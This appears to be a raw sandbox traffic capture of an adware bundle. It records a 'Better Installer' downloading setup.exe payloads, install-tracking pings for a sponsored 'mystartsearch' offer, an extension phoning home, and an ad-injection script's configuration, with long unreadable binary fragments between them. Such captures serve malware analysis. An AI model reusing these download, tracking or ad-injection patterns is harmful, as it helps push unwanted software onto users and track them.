.M..U.3.;.t.V..1...A..;.u.^].................U..QV.p.j..M..7.i1...F...
[email protected]..}1....^..]..U..Q.E.SVW..tL...H.3..M...~4.8...u.3...t..H....
...F:.u.BA;.r..E..M..U.;.t...;.|[email protected]._^[..]._^..[..]....U..j.
h..C.d.....P..h.t.C.3..E.SVWP.E.d......E........3..]..M..U..u..E...u..
U..E..E......E...E.P.U.R.E.P.E..........u..E.............E..9}.r..M.Q.
!>..............{...E............C....E.RP.M.......E..U...;.s..M..M
.;...s..E.Q.M.P.U.R........E.;.tg9}.r..M.Q..=...........}..E......E...
[email protected]..~..F.............<<< skipped >>>

GET /app/ping.ashx?e=ZuS0/O3oV2rYybLSKYXwfmRMnMnoBE37ZBq10WFfTMgE8XIWrh60PYXV1rPYBwrFqy2cd4qoQDl0oePvh0n93F2fKohH1AHQSUqlVEgP7Y8NnlqVy8N p9hhITel/a8ytwpiObEbgDu4Nh8c5r795BoH2Jp8LsKb&product=EXTFirefox&rnd=1424743305&it=0&action=Init&text=Ext version: 1.0.0.1. Firefox version: 29.0.1. DB name: yta_database1_0_0.json. DB version: 1.0.0.1 HTTP/1.1

Host: rep.youtubeaccelerator.com

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:29.0) Gecko/20100101 Firefox/29.0

Accept: text/html,application/xhtml xml,application/xml;q=0.9,*/*;q=0.8

Accept-Language: en-US,en;q=0.5

Accept-Encoding: gzip, deflate

Connection: keep-alive


HTTP/1.1 200 OK

Cache-Control: private

Content-Type: image/gif

Server: Microsoft-IIS/7.5

X-AspNet-Version: 4.0.30319

X-Powered-By: ASP.NET

Date: Tue, 24 Feb 2015 02:01:24 GMT

Content-Length: 0

HTTP/1.1 200 OK..Cache-Control: private..Content-Type: image/gif..Serv
er: Microsoft-IIS/7.5..X-AspNet-Version: 4.0.30319..X-Powered-By: ASP.
NET..Date: Tue, 24 Feb 2015 02:01:24 GMT..Content-Length: 0..

GET /affiliates/easyburnerit/easyBurner_logo48.png HTTP/1.1

Accept: */*

Referer: hXXp://bi.bisrv.com/easyburnerit/easyburnerit/799c97afbeb52f4eabf469c6ed8ad1c0?v=2.0&muid=96D78F35E7B7EA4FC32736D428DF43B4

Accept-Language: en-US

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)

Host: downloadcdn.filebulldog.com

Connection: Keep-Alive


HTTP/1.1 200 OK

Content-Type: image/png

Content-Length: 3759

Connection: keep-alive

Server: nginx

Date: Mon, 23 Feb 2015 18:59:37 GMT

Last-Modified: Sun, 19 May 2013 09:38:43 GMT

ETag: "51989da3-eaf"

Expires: Mon, 23 Feb 2015 19:09:37 GMT

Cache-Control: max-age=600

Accept-Ranges: bytes

X-Cache: RefreshHit from cloudfront

Via: 1.1 1617f8bb348c173b7002e26d4d35f91a.cloudfront.net (CloudFront)

X-Amz-Cf-Id: B5JpDggSnwYdLUX54HENXfhOQKi8V0lgsW2PzkoksBCooLprVrmKoA==
.PNG........IHDR...0...0......`n.....gAMA......a.....pHYs..........(J.
....tEXtSoftware.Paint.NET v3.5.100.r.... IDATXG...T.g..?.}.v....=.w.i
..L........-Z.ZP\p.Xm...[...;.....E\@@.%@B [email protected]......}...IH..s.9..
..N....<......`......yt,.4l.....C8.o8...~Q ..g..Yo.............$T.9
r}..A.1.tf......<.....1...|......K4.J..*s4.V..J.E...r....2..*9V/...
h..).....b..=D./....Hk.P..ct........%..e"g.)..^%....(:-..............4
n.<...^......Io.SnL.0.....d..L..:t.~.f..E..<. ..e.....f?.M.'....
.6.jO.gMN...].....z.?..).....j.!q.\U.H....2=Wa...t&..b.3.......x.o.(d.
.f.V.O.2.-.[Dk...~.\...&...c.8'..j.jLo.zz.e....8b.-......c.{X.0...p~IN
.|..E....VpV.k..n.~....v^j......-&.~.,.5.....&v...`l.j..2Rg.._5...K1.3
.L.......&.3Sk..$..<..Jo.{.Z.}....U.-....J8......h.l.P.V.{[q.Ku.Sg`
........t...G.>...c.'.....D.....1.$..I.1.q.. ..hN(f...Xq.....5...5.
b.ZL.."...$'..g<F.../. ....M....i.......8Ua.;[email protected].._........\
.Y~..<.n.......2.d...".....~..^.......$;.>.......:.).......d..1S
.....WV...>...,.[_.%'..K........[5.o.....n..4....C.................
|.)=.!K...1;.-L.q....L9.8..1c.f*#..-....... ..H...n.i.#eR.....e7.Q.5..
dj...jf){.?....l...........DG<...R..W..70.0eNfz...0.TL0Q........Q..
.o.p.L\...T...U.nTG..m}....b....._Y..].............D/.a....C.<d.<
;F....LP.v..D..0A.*1...WR..!.B.&...Z.2.Dm..Au....5.5:.}m..3...~...8.|.
v...|\...y...~...:..3..t?`.m=`.Z.....E.../2.b..J.R|A.)z.7..#....[W.2
.........-H....%."=.6|.c......".ME2.r..&R..8=....U.......6.F@&.esfMD..
. .e.*.<..t....W...5D.5E......V....~._.q..... ...e....Z.=].}=.l<<< skipped >>>

GET /mirror/mystartsearch/default/setup.exe HTTP/1.1

Range: bytes=160816-

User-Agent: Better Installer(Mozilla)

Host: d1x8oi0nw94fx8.cloudfront.net

Connection: Keep-Alive

Cache-Control: no-cache


HTTP/1.1 206 Partial Content

Content-Type: application/octet-stream

Content-Length: 160816

Connection: keep-alive

Date: Sun, 22 Feb 2015 05:45:37 GMT

x-amz-version-id: pJx1Noe1nsjOrolbXLoeUI7xmdja2CTU

x-amz-meta-s3cmd-attrs: uid:500/gname:www/uname:www/gid:500/mode:33188/mtime:1422525589/atime:1422525603/ctime:1422525590

Cache-Control: max-age=3600

Last-Modified: Thu, 29 Jan 2015 10:00:41 GMT

ETag: "31f8d1cffb02dff93646f81d8ce3dd75"

Accept-Ranges: bytes

Server: AmazonS3

Content-Range: bytes 160816-321631/321632

Age: 637

X-Cache: Hit from cloudfront

Via: 1.1 d6fa2e1de8f392301c10fd5bb7b263c3.cloudfront.net (CloudFront)

X-Amz-Cf-Id: In1Ne_4EDORo-4pVW8VrGhNS2XS0QpAGJoaxJFkK3XXt4P0T0sprhQ==
..C...T.C.Zf.1f.0......Ju..............L...@;.v.....~....0....C.......
[email protected]............{......95..C...T.......M._^3.[.G
.....j.h..C.......M..........}......._h.u..q....E.;C...W...h ....jD..Y
......F.........wh.....#.S.u......YY.E..........u..vh..l C...u..Fh= .C
.t.P.....Y.^hS.=h C....Fp...........C........j......Y.e...C..$.C..C..(
.C..C..,.C.3..E....}[email protected].=....}[email protected][email protected].=..
..}[email protected] C...u..H.C.= .C.t.P.....Y..H.C.S...E....
.......0j......Y..%...u .. .C.t.S.....Y..D...........e...E..;.....=..C
..u.j..V...Y....C.....3....U...M.VW..t..}...u..KD..j.^.0..|.....A.U...
u.........>.t.FOu...t. ......B..t.Ou...u......D..j"Y......3._^]...U
..3.S3.@9].|FVW..t>.E.... ....E....<..7.E..0..;..YY..u..M.....9.
.y.N.u....^.;].~._^3......[..]...U..Q..tP.>.tKh.IC.V.....YY..t:h.IC
.V.....YY..u.j..E.Ph... .w....!C...t).E...V..;..Y.E...j..E.Ph... .w...
.!C...u.3....}..u.... C.....U..3.f.M.f;.pIC.t.......r.3.@].3.]...V3.. 
.A.B<.w.......A.<.w..........t......u...^.3...B..A|...Z~...a...w
[email protected]....|.t.C.3..E.VW.}.................jx.E.P..........%.........
PW... [email protected]:..YY..u.W.....Y..t..................
.................M._3.^.&.........U..QV..j..E.P..%....h... .....P...!C
...u.3..);u.t!.}..t..E..0W.......V...m ..Y;._t.3.@^....U....|.t.C.3..E
.SVW.}...................... C...jx.E.P.F.....%.........PW....u..f..3.
@.c....E.P.v..L9..YY........jx.E.P.F.....%.........PW....t..E.P.6..9..
YY..u..N......~..R.F..uO.F...t,P.E.P.6.,:.......u..6.N...~......Y;<<< skipped >>>

GET /sd?is=sm HTTP/1.1

Range: bytes=0-

User-Agent: Better Installer(Mozilla)

Host: install-cdn.sourceapp.info

Connection: Keep-Alive

Cache-Control: no-cache



..................................U....\.}..t .}.F.E.u..H.....nD..H.P.
[email protected]@..e...E..E.P.u...Pr@..}..e....
[email protected]... M.......M....3.....FQ.....NU..M..........VT..U
[email protected]@..u....E..9}.
[email protected].}[email protected]@..u..5X
[email protected] [email protected]...\r@._^3.[.....L$..
.nD...Si.. ..VW.T.....tO.q.3.;5.nD.sB..i.. ...D.......t.G.....t...O..t
 .....u...3....3...F.. ..;5.nD.r._^[...U..QQ.U.SV..i.. .....nD.3...W.M
..M..F...t.9M.t.$.B.F.;..nD.sD..i.. ...|...B......t.j.R..........u(..@
t..E....t..E....E.;..nD...r.3._^[.....}..t..}[email protected]....
L$...nD.V3... s495.nD.v,.P.W....u.3.G...z.t.....$...F... ..;5.nD.r._^.
..U.......nD..e..SV.....W.=.nD..E..E.3.9.tK;.sE.5.nD.........u(.E...t.
.<[email protected].#....M...;.u.C... ..;.r.;.t..E..E...}. r..E._^[
.....D$...}[email protected].... .Q..E.....V.t$..j.....nD.k.....8.t\P.....=....tU
[email protected].... ..|$..t/[email protected]$..
.Dr@...}.3.^[email protected]$..J9.....U......
....nD.SV.u.Wj.Y.}..E.3....E..U..........pD..][email protected].....
.A.......$..(@.SP..8...r.....L.D.9][email protected].......
[email protected]@[email protected]].u"...oD.j
[email protected][email protected]...;....#M..D..
...<....4..oD.V.......P.D..5`r@.;.t.RQ...E...d.D.;.......PQ.......j
[email protected]..<.....W..?....;.tBj\V. ?....SW.<<< skipped >>>

GET /pinger?event_type=install_complete&installer_source=better_installer&software_type=sponsored&muid=96d78f35e7b7ea4fc32736d428df43b4&client_uid=799c97afbeb52f4eabf469c6ed8ad1c0&uniqid=9fd81c119909308d540861e600a43bd3&affiliate_id=easyburnerit&software_id=easyburnerit&sponsored_id=mystartsearch&tokyo_csrf2_key=d1ea4a8c4a1ea55c8ec02fe5822a8e52&tokyo_csrf2_timestamp=1424743227&slot_number=2&index_in_screen=1&index_in_session=2&0.15930903485743375 HTTP/1.1

Accept: */*

Referer: hXXp://bi.bisrv.com/easyburnerit/easyburnerit/799c97afbeb52f4eabf469c6ed8ad1c0?v=2.0&muid=96D78F35E7B7EA4FC32736D428DF43B4

Accept-Language: en-US

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)

Host: bi.bisrv.com

Connection: Keep-Alive


HTTP/1.1 200 OK

Server: nginx

Date: Tue, 24 Feb 2015 02:01:54 GMT

Content-Type: image/jpeg

Transfer-Encoding: chunked

0..HTTP/1.1 200 OK..Server: nginx..Date: Tue, 24 Feb 2015 02:01:54 GMT
..Content-Type: image/jpeg..Transfer-Encoding: chunked..0..

GET /images/64x64.ico HTTP/1.1

Accept: */*

Accept-Language: en-us

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)

Host: VVV.appshat.com

Connection: Keep-Alive


HTTP/1.1 200 OK

Server: nginx

Date: Tue, 24 Feb 2015 02:02:05 GMT

Content-Type: image/x-icon

Content-Length: 32038

Last-Modified: Wed, 21 Aug 2013 16:47:03 GMT

Connection: keep-alive

ETag: "5214ef07-7d26"

Expires: Tue, 24 Feb 2015 02:32:05 GMT

Cache-Control: max-age=1800

Accept-Ranges: bytes
............ .h...F...  .... .........00.... ..%..V...@@.... .(B...:..
(....... ..... [email protected]{.[[
[.;;;/WWW.........................................jii.....efe.233.&%%.
!  ..--.[[[I............................[\\.,**.....]]\.011........."!
!.322.jhg?........................WWWg"!!...~.[ZY.   .........&$$./--.
`^^.........................vvu;#"".zwv.^\[.*)).........*((.755.wuuU..
..........................,  .rpp.`_^.))).........-  .ECC.............
....................544.ccc.RQo...?...2.....,*1.FEE...................
..............'&R.......x.! F.43?.KIJ.WUV.OMM.a__.mll/................
....}u..%%w.=<N.CA@.*((.&$$..,,.200.?==.jhh.gcd.NNNW........111gUTT
.....trq.YWV.?<<. .#.........#!!.301.QOO.xst.a__.{zz.110/....311
.^[Z.SQV.(';...T...8...............&.;::.`[\.vrs.QON3....(''.!...** ..
.....2.--....9...........#.! ".766.ZXX.omm.lll.........443Q''&.   ..-,
.A?=.$"".............&&&.<::.URR.cbb_................]]\.433u2//.20
0..,-.%##.........0//.FFF.\YY/................................sss.[[[/
>>>;ECC9][[%jgi..............................................
......................................................................
.............................(... ...@..... ..........................
......................................................................
......................................................................
.......................................vwy.ded VVWSAAA]555]POPMhgf#YYZ
..................................................................<<< skipped >>>

GET /images/16x16.ico HTTP/1.1

Accept: */*

Accept-Language: en-us

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)

Host: VVV.appshat.com

Connection: Keep-Alive


HTTP/1.1 200 OK

Server: nginx

Date: Tue, 24 Feb 2015 02:02:05 GMT

Content-Type: image/x-icon

Content-Length: 1150

Last-Modified: Wed, 21 Aug 2013 16:47:03 GMT

Connection: keep-alive

ETag: "5214ef07-47e"

Expires: Tue, 24 Feb 2015 02:32:05 GMT

Cache-Control: max-age=1800

Accept-Ranges: bytes
............ .h.......(....... ..... .....@...........................
........ppo....Mmnn.:<<.,* ., ,.EDD.}}}9........................
...._^` \[[.....Z\Z.,//. "!.........544....Y....................ttt.BA
A.755.....YYY.)**.........!. .....SRR.~}}%....................KKK.1/..
....XXW.''&.........$"".(%%.XWW.||| ....................eef. )).....\Z
[.&&'.........&$$..**.yxx.........................yxzq, *...x.cbV.''".
........ ...522....k.........................|q[-,$.hg..BA{...B...9. .
:.20:.DBB....Q........................LIeU..X.......y...H.1/D.FDM.QPS.
NLL.fdc.wwvsjii.................XV.g..p.75H.@?9.20'. *$./.,.1/..643.WU
V.lij.gee.....NNN-AA@O..|o....sqn.][N.:81.!. .........#!!. *(.GEE.uqr.
qmn.ppp.$$$. * .^[[..~z.caa.43B. .G...1............... .334.NJK.}xy.fa
b.HHI...../-,.0/2.......J.. ....@...............%. **.DBA.oll.olm.||}.
=;=.!  ........., A.A?d...&............." !.,-,.CBB.a`_....u....TTT.MM
MI@@?.-,*./-).30*.)&$.#!!.............022.MKJ.mkkw................VUU.
VTTKJII.DCC.;9:.,  .%$#.*((.=<=.YYYwged/srr........................
......................................................................
.......................................HTTP/1.1 200 OK..Server: nginx.
.Date: Tue, 24 Feb 2015 02:02:05 GMT..Content-Type: image/x-icon..Cont
ent-Length: 1150..Last-Modified: Wed, 21 Aug 2013 16:47:03 GMT..Connec
tion: keep-alive..ETag: "5214ef07-47e"..Expires: Tue, 24 Feb 2015 02:3
2:05 GMT..Cache-Control: max-age=1800..Accept-Ranges: bytes...........
... .h.......(....... ..... .....@................................<<< skipped >>>

GET /v4/sof-installer/535559167_198339_B48A115F?action=smt.installer.mystartsearch.regok HTTP/1.1

Connection: Keep-Alive

User-Agent: Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0) Pi/3.1415926

Host: xa.xingcloud.com


HTTP/1.1 200 OK

Server: nginx/1.6.2

Date: Tue, 24 Feb 2015 02:01:23 GMT

Content-Type: text/html; charset=utf-8

Transfer-Encoding: chunked

Connection: keep-alive

X-Powered-By: PHP/5.3.3

xa-api-version: v4

48..{"stats":"ok","time":"1.30 ms","message":"store 1 action and 0 upd
ate "}..0..HTTP/1.1 200 OK..Server: nginx/1.6.2..Date: Tue, 24 Feb 201
5 02:01:23 GMT..Content-Type: text/html; charset=utf-8..Transfer-Encod
ing: chunked..Connection: keep-alive..X-Powered-By: PHP/5.3.3..xa-api-
version: v4..48..{"stats":"ok","time":"1.30 ms","message":"store 1 act
ion and 0 update "}..0......

GET /v4/sof-installer/535559167_198339_B48A115F?action=smt.installer.mystartsearch.nt.ff.tab HTTP/1.1

Connection: Keep-Alive

User-Agent: Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0) Pi/3.1415926

Host: xa.xingcloud.com


HTTP/1.1 200 OK

Server: nginx/1.6.2

Date: Tue, 24 Feb 2015 02:01:29 GMT

Content-Type: text/html; charset=utf-8

Transfer-Encoding: chunked

Connection: keep-alive

X-Powered-By: PHP/5.3.3

xa-api-version: v4

48..{"stats":"ok","time":"1.37 ms","message":"store 1 action and 0 upd
ate "}..0..HTTP/1.1 200 OK..Server: nginx/1.6.2..Date: Tue, 24 Feb 201
5 02:01:29 GMT..Content-Type: text/html; charset=utf-8..Transfer-Encod
ing: chunked..Connection: keep-alive..X-Powered-By: PHP/5.3.3..xa-api-
version: v4..48..{"stats":"ok","time":"1.37 ms","message":"store 1 act
ion and 0 update "}..0..

GET /v4/sof-installer/535559167_198339_B48A115F?action=smt.installer.mystartsearch.hp HTTP/1.1

Connection: Keep-Alive

User-Agent: Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0) Pi/3.1415926

Host: xa.xingcloud.com


HTTP/1.1 200 OK

Server: nginx/0.7.67

Date: Tue, 24 Feb 2015 02:01:23 GMT

Content-Type: text/html; charset=utf-8

Transfer-Encoding: chunked

Connection: keep-alive

X-Powered-By: PHP/5.3.3

xa-api-version: v4

48..{"stats":"ok","time":"0.59 ms","message":"store 1 action and 0 upd
ate "}..0..HTTP/1.1 200 OK..Server: nginx/0.7.67..Date: Tue, 24 Feb 20
15 02:01:23 GMT..Content-Type: text/html; charset=utf-8..Transfer-Enco
ding: chunked..Connection: keep-alive..X-Powered-By: PHP/5.3.3..xa-api
-version: v4..48..{"stats":"ok","time":"0.59 ms","message":"store 1 ac
tion and 0 update "}..0..

GET /script/layer/serve?format=1&img=true&cid=layer_fr&isps=false&cbs=0.840052310452982&sid=14567725608&terms=easy burner, easy, burner, successfully installed, powerful features!&keywords=easy burner, easy, burner, successfully installed, powerful features!&dm=easy-burner.com&charset=utf-8&ttl=Easy-Burner&adl=true&loc=http://VVV.easy-burner.com/en/software/install/?campaign=14776&eme=×tamp=1424743235116948&tracker=2200&tk=f868fdc86af649be79e91ca000a90b10&mso=5&mss=3&sed=8&suid=FD8vibN_U&download_country=en&ms=5&status=5&ms2=0&status2=0&ms3=0&status3=0&sms=0&itime=1424743354&ps=0&p_status=1&dm=VVV.easy-burner.com&subid=F2Owsmtycl1-78116d2d-d3b5-4062-b3b8-b2539525da70&um=Powered by Shopper-Pro HTTP/1.1

Accept: application/javascript, */*;q=0.8

Referer: hXXp://VVV.easy-burner.com/en/software/install/?campaign=14776&eme=×tamp=1424743235116948&tracker=2200&tk=f868fdc86af649be79e91ca000a90b10&mso=5&mss=3&sed=8&suid=FD8vibN_U&download_country=en&ms=5&status=5&ms2=0&status2=0&ms3=0&status3=0&sms=0&itime=1424743354&ps=0&p_status=1

Accept-Language: en-US

User-Agent: Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; WOW64; Trident/6.0)

Accept-Encoding: gzip, deflate

Host: a.visadd.com

DNT: 1

Connection: Keep-Alive

Cookie: __cfduid=d7dcf13535587e1343e5a1c08b7c06bd01424743381


HTTP/1.1 200 OK

Date: Tue, 24 Feb 2015 02:03:02 GMT

Content-Type: application/javascript

Content-Length: 17219

Vary: Accept-Encoding

Etag: "582c63d1cfc86ca172628c23f41fe5d43b21829e"

Cache-Control: public, max-age=360

P3p: CP="CAO DSP COR CURa ADMa DEVa PSAa PSDa IVAi IVDi CONi OUR OTRi IND PHY ONL UNI FIN COM NAV INT DEM STA"

Set-Cookie: visadd_gry_lock_count=--; Path=/

Set-Cookie: a.visadd.com=; Expires=Thu, 01-Jan-1970 00:00:01 GMT; path=/
.(function() {.visadd.texts = {.flip_back: 'Flip Back'.}.visadd.settin
gs = {.monitor_url_change: false,strip_max_images: -1,use_strips: fals
e,lock_count_time: 3600000,shopping_agresive: false,validate_blacklist
: true,layer_style: '.img.visadd_indic{    height: 35px;    position: 
absolute;    left: 5px;    top: 5px;    width: auto;    z-index: 999; 
   background: none repeat scroll 0 0 transparent !important;    borde
r: 0 none !important;    box-shadow: none !important; }\....indic_hove
r_only { display:none }\....indic_hover_only: hover { display:block }\
....visadd_layer { display: none;  position: absolute; z-index: 214748
3647; }\....visadd_image_container{    float: left;.margin: 0 10px 0px
 0 !important;    height: auto;    overflow: hidden;} \....ab_visadd_i
mage_container{    float: right !important; .margin: 0 !important;    
} \....right_visadd_image_container{    float: right !important; .marg
in: 0 0 0 10px !important; } \....ab_visadd_image_wrap{    float: left
;.margin: 0 10px 2px 0 !important;    max-height: 200px;    height: au
to;    overflow: hidden;    position: relative;}\....ab_visadd_image_w
rap img {.padding: 0 !important;.border: none !important; margin: 0 !i
mportant; }\....visadd_image_credit { .width: 100%;.z-index: 999;.marg
in-top: 3px;}\....visadd_image_credit a:hover{    color: #ccc;    disp
lay: block;    font-size: 11px;    text-align: center;    text-decorat
ion: none;    float:left;    padding-right: 10px;       text-shadow: 1
px 1px 1px #e1e1e1;}\....visadd_image_credit a{    color: #ccc;   <<< skipped >>>

GET /internal/reporter?v=2&subid=F2Owsmtycl1-78116d2d-d3b5-4062-b3b8-b2539525da70&format=1&ai=990&ctxu=http://VVV.easy-burner.com/en/software/install/?campaign=14776&eme=&timestamp=1424743235116948&tracker=2200&tk=f868fdc86af649be79e91ca000a90b10&mso=5&mss=3&sed=8&suid=FD8vibN_U&download_country=en&ms=5&status=5&ms2=0&status2=0&ms3=0&status3=0&sms=0&itime=1424743354&ps=0&p_status=1&fb=false&cid=99&cbs=0.21905757394828568&sid=14567725608&terms=easy burner, easy, burner, successfully installed, powerful features!&keywords=easy burner, easy, burner, successfully installed, powerful features!&dm=easy-burner.com&charset=utf-8&ttl=Easy-Burner&loc=http://VVV.easy-burner.com/en/software/install/?campaign=14776&eme=&timestamp=1424743235116948&tracker=2200&tk=f868fdc86af649be79e91ca000a90b10&mso=5&mss=3&sed=8&suid=FD8vibN_U&download_country=en&ms=5&status=5&ms2=0&status2=0&ms3=0&status3=0&sms=0&itime=1424743354&ps=0&p_status=1&dm=VVV.easy-burner.com&subid=F2Owsmtycl1-78116d2d-d3b5-4062-b3b8-b2539525da70&um=Powered by Shopper-Pro HTTP/1.1

Accept: application/javascript, */*;q=0.8

Referer: hXXp://VVV.easy-burner.com/en/software/install/?campaign=14776&eme=×tamp=1424743235116948&tracker=2200&tk=f868fdc86af649be79e91ca000a90b10&mso=5&mss=3&sed=8&suid=FD8vibN_U&download_country=en&ms=5&status=5&ms2=0&status
HTTP/1.1 200 OK

Date: Tue, 24 Feb 2015 02:03:02 GMT

Content-Type: application/javascript

Content-Length: 23

Vary: Accept-Encoding

Etag: "f84bbf6aa01fbf93fa4b87fc8e9ae1766be62eda"

Cache-Control: public, max-age=86400

Set-Cookie: tid=i-52230962111199341424743382.68978; Path=/

Set-Cookie: uid=i-52230962111199341424743382.68979; expires=Fri, 21 Feb 2025 02:03:02 GMT; Path=/

Set-Cookie: a.visadd.com=; Expires=Thu, 01-Jan-1970 00:00:01 GMT; path=/
function donothing(){};HTTP/1.1 200 OK..Date: Tue, 24 Feb 2015 02:03:0
2 GMT..Content-Type: application/javascript..Content-Length: 23..Vary:
 Accept-Encoding..Etag: "f84bbf6aa01fbf93fa4b87fc8e9ae1766be62eda"..Ca
che-Control: public, max-age=86400..Set-Cookie: tid=i-5223096211119934
1424743382.68978; Path=/..Set-Cookie: uid=i-52230962111199341424743382
.68979; expires=Fri, 21 Feb 2025 02:03:02 GMT; Path=/..Set-Cookie: a.v
isadd.com=; Expires=Thu, 01-Jan-1970 00:00:01 GMT; path=/..function do
nothing(){};..

GET /smt2b/all/hat/row/setup.exe_e HTTP/1.1

Host: dl.ourinfoonlinestack.com

Connection: Keep-Alive

Cache-Control: no-cache


HTTP/1.1 200 OK

Date: Tue, 24 Feb 2015 02:02:05 GMT

Keep-Alive: timeout=10, max=100

Connection: Keep-Alive

Accept-Ranges: bytes

ETag: "1424713141"

Last-Modified: Mon, 23 Feb 2015 17:39:01 GMT

Cache-Control: max-age=2283

Content-Length: 2615976

Content-Type: text/plain

X-HW: 1424743326.dop010.am4.t,1424743325.cds036.am4.c
.Ln...duP.R...........R.....H.a.%...?....^.-.........=ojj..T.5...8..1L
c....i..........G..ZPc...$Zvi..........h......"KO.!.%H.... g..}Cw$b..o
.~..D...~.P..F.......Wk......:..&...U..`...dI..,.D...._..l.......[....
..*.Pn.9..$.]..>3........".@.. .b'...:..'E]...U.Xm........,.....g4.
.I}j:[email protected]...[..Cp....PE..X....O..Xe...X._..&.9y.`........&
gt;S.$...s.QU..E.7N..)4...=...Ke_.v.9......'.L.y.6...;..,a.......-....
).Yb.?..z=n.M...L....?N...."F........3Ms.nH..|(..?g.K..I.q2..O..4..GH.
...9n..S.nT.yC..5..r.L1.D.G....^.]...!...TB...N..{...<.~.....nci..8
....3{.L.F.N.....{Y.....k.Gv.h....kHs....>........s.|..../O..\...w&
......jzM..$!...*O.....i.jyV.I'k.?.\.Q....}...^}E.......;G.....x..0O..
h..4/Y....r......Je.......g.<:..o...rj^p...9.a.....3e@..[.%.`<.C
D:....Cg^..s...F..).V.C.a.0.).7M...].z...N.{.4..1f...O.T2H>...!..l%
.r........ .7=.e [email protected].~cg9?.. ...pu
.h......>....O ..B.....E"8v..y.].aj..85........y.\r...2U..........H
Y"[email protected]...^.xZ...#..[..=...S..x..\H..G....).{..
..yq$.....81.......%.9.....j..8.......<..K.....Wi.`.-.....4.3....9z
O.{`..NU#.....)3.....{...^. ..-....\.....N1l...j...?.$G....Ig.4b....=.
.Q..u.......i9..XQY.ZQ:.N..z.f..j.. X.......T....|..?.0..`..a.........
[..{.%.2.JK.}*..)/.....]....1.J.*HI..(......aL......>t.......x....&
{8...9.&....!..@zT.([email protected]?.Tw...
<.z.`e .f..I$...}Ye.r......(J..=4..O..<...bT.."......A.k...-t...
,.2....c.ap...i..6.F.[x....7.t.t.#xo..J.:......h ./..G..&.|..M....<<< skipped >>>

GET /mirror/mystartsearch/default/setup.exe HTTP/1.1

Range: bytes=281428-

User-Agent: Better Installer(Mozilla)

Host: d1x8oi0nw94fx8.cloudfront.net

Connection: Keep-Alive

Cache-Control: no-cache


HTTP/1.1 206 Partial Content

Content-Type: application/octet-stream

Content-Length: 40204

Connection: keep-alive

Date: Sun, 22 Feb 2015 05:45:37 GMT

x-amz-version-id: pJx1Noe1nsjOrolbXLoeUI7xmdja2CTU

x-amz-meta-s3cmd-attrs: uid:500/gname:www/uname:www/gid:500/mode:33188/mtime:1422525589/atime:1422525603/ctime:1422525590

Cache-Control: max-age=3600

Last-Modified: Thu, 29 Jan 2015 10:00:41 GMT

ETag: "31f8d1cffb02dff93646f81d8ce3dd75"

Accept-Ranges: bytes

Server: AmazonS3

Content-Range: bytes 281428-321631/321632

Age: 637

X-Cache: Hit from cloudfront

Via: 1.1 a034346227db119f7e0813186ca2d2c2.cloudfront.net (CloudFront)

X-Amz-Cf-Id: HnzGEqFDj13CBsPnqQswQM29pq8MSKcWsnZYrDdABtwIqbLfCr7SzA==

.h2..\...........................g2..]...........................f2..[
...............................I3') * )))*))()*   ,6J!54 CBA...jYPQTVT
SkllZTTXRTUiHceWda/..i...u....`..................._<bm....t^..}zy|y
x~....{|yvrrwsqpon....................................................
......................................................................
......................................................................
...................................................................(..
..... ...................................|WR......Q3..O1...b.sP?..Q2..
Q2..Y9..^G......`[email protected]................
..b...c...c...d...c...d...d...s ..x(...>..zZ..........g........x...
$...&...*... ... ...,...-...-.../...0...4...6...I.....................
......................................................................
..~~~.}}}.............................................................
......................................................................
......................................................................
......................................................................
......................................................................
......................................................................
......................................................................
......................................................................
......................................................................
..................................................................

<<< skipped >>>

GET /pub/firefox/releases/34.0.5/update/win32/en-US/firefox-34.0.5.complete.mar HTTP/1.1

Host: download.cdn.mozilla.net

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:29.0) Gecko/20100101 Firefox/29.0

Accept: text/html,application/xhtml xml,application/xml;q=0.9,*/*;q=0.8

Accept-Language: en-US,en;q=0.5

Range: bytes=900000-1199999

Connection: keep-alive


HTTP/1.1 206 Partial Content

Last-Modified: Wed, 26 Nov 2014 16:59:55 GMT

ETag: "4b1e700-2dc5623-508c5f506dac8"

Server: Apache

X-Backend-Server: ftp3.dmz.scl3.mozilla.com

Content-Type: application/octet-stream

Accept-Ranges: bytes

Access-Control-Allow-Origin: *

X-Cache-Info: cached

Cache-Control: max-age=43171

Expires: Tue, 24 Feb 2015 14:00:56 GMT

Date: Tue, 24 Feb 2015 02:01:25 GMT

Content-Range: bytes 900000-1199999/47994403

Content-Length: 300000

Connection: keep-alive
d,.f.\s..H.vB9..b.I`.b..8%..g..m....x..*.....{....?..u;f....._nU._....
..y q....].~..N...=....c.:..wuz. g...O?....*-..U..,..]u.iE...9..s.gN..
5.A.v....;BK..H.....>.J..T.n.#. .......^:...9.giR..h.s..dX[:..D..3.
..I.`.5..pb.s.-..........P...M.3.,.Z.....t.&Z$nJ."o'.\..O.h.B,Y.......
W.........!<.eu.BWsJ.=...Z.l....~..l'...l..9l|....d.x....Fw.B.Gv8..
..2.XJ.Ed..r...V.J.%.$.~^..N..b.....!..w h-..3.......C[m......R.*/[email protected]
Jg..L.......t.#A....X......D.B.....w.d...$6....8.I....GP..e...o\.UJ.u.
.yX.I....c..<KG..T......L..mT..,7rA..g..".?....../.&...dI......&.. 
